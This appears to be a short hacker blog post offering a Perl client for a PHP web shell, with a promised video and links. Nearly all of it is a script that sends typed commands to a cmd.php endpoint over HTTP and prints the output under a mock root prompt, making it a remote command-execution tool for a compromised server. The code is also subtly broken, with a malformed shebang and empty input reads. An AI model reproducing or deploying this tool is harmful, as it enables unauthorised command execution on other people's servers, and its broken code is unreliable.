Cmd Shell - Perl

Watch Video you will know about this....

+Perl Cmd Shell
+PHP CMD
+Download Video Here ..!

#!usr/bin/perl

use LWP::UserAgent;

my $target = 'http://localhost/cmd.php?cmd=';
$ua = LWP::UserAgent->new();
print "dreamclown\@r00t# ";
chomp($cmd = );
while($cmd !~ "exit"){
   if($cmd =~ "cls"){
     system("cls");
   }
   else
   {
   $s = $target . $cmd;
   $res = $ua->get($s);
   $ct = $res->content();
   print $ct;
   }
   print "\ndreamclown\@r00t# ";
  chomp($cmd = );
}